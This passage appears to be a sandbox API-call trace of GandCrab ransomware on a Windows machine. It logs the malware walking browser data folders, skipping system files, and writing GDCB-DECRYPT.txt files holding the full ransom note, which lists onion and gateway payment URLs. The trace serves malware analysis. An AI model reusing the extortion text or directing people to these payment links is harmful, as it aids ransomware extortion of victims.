Data\\Safe Browsing Cookies-journal") returned 276 [0171.425] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing Csd Whitelist") returned 274 [0171.425] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing Csd Whitelist") returned 274 [0171.425] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing Download") returned 269 [0171.425] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing Download") returned 269 [0171.425] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing Download Whitelist") returned 279 [0171.425] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing Download Whitelist") returned 279 [0171.425] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing Extension Blacklist") returned 280 [0171.425] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing Extension Blacklist") returned 280 [0171.425] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing IP Blacklist") returned 273 [0171.425] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing IP Blacklist") returned 273 [0171.425] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing Module Whitelist") returned 277 [0171.425] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing Module Whitelist") returned 277 [0171.425] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing Resource Blacklist") returned 279 [0171.425] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing Resource Blacklist") returned 279 [0171.425] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing UwS List") returned 269 [0171.425] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing UwS List") returned 269 [0171.425] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing UwS List Prefix Set") returned 280 [0171.425] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing UwS List Prefix Set") returned 280 [0171.425] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.426] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\SSLErrorAssistant\\\\GDCB-DECRYPT.txt") returned 282 [0171.426] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\SSLErrorAssistant\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\sslerrorassistant\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.426] GetLastError () returned 0x3 [0171.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.426] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Subresource Filter\\\\GDCB-DECRYPT.txt") returned 283 [0171.426] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Subresource Filter\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\subresource filter\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.426] GetLastError () returned 0x3 [0171.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.426] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.427] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\SwReporter\\\\GDCB-DECRYPT.txt") returned 275 [0171.427] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\SwReporter\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\swreporter\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.427] GetLastError () returned 0x3 [0171.427] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.428] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\WidevineCdm\\\\GDCB-DECRYPT.txt") returned 276 [0171.428] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\WidevineCdm\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\widevinecdm\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.428] GetLastError () returned 0x3 [0171.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.428] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.428] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\\\GDCB-DECRYPT.txt") returned 260 [0171.428] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\crashreports\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.428] GetLastError () returned 0x3 [0171.429] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\GDCB-DECRYPT.txt") returned 246 [0171.429] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\GDCB-DECRYPT.txt") returned 246 [0171.429] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\GDCB-DECRYPT.txt") returned 246 [0171.429] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\GDCB-DECRYPT.txt") returned 246 [0171.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0171.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0171.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0171.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0171.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0171.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0171.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0171.429] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0171.429] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.429] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.429] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.429] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.430] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\\\GDCB-DECRYPT.txt") returned 248 [0171.430] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0171.441] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0171.441] WriteFile (in: hFile=0x50c, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285d6ac, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285d6ac*=0xad6, lpOverlapped=0x0) returned 1 [0171.442] CloseHandle (hObject=0x50c) returned 1 [0171.442] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\desktop.ini") returned 242 [0171.443] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\desktop.ini") returned 242 [0171.443] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\desktop.ini") returned 242 [0171.443] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\desktop.ini") returned 242 [0171.443] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0171.443] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\GDCB-DECRYPT.txt") returned 247 [0171.443] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\GDCB-DECRYPT.txt") returned 247 [0171.443] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\GDCB-DECRYPT.txt") returned 247 [0171.443] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\GDCB-DECRYPT.txt") returned 247 [0171.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0171.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0171.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0171.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0171.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0171.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0171.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0171.443] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0171.443] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.443] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.443] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.443] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.444] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\\\GDCB-DECRYPT.txt") returned 260 [0171.444] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.445] GetLastError () returned 0x3 [0171.445] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\container.dat") returned 256 [0171.445] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\container.dat") returned 256 [0171.445] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.445] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.445] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.445] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.446] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012018012720180128\\\\GDCB-DECRYPT.txt") returned 285 [0171.446] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012018012720180128\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\mshist012018012720180128\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.446] GetLastError () returned 0x3 [0171.446] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.446] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.446] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.446] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.447] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\\\GDCB-DECRYPT.txt") returned 252 [0171.447] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0171.450] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - 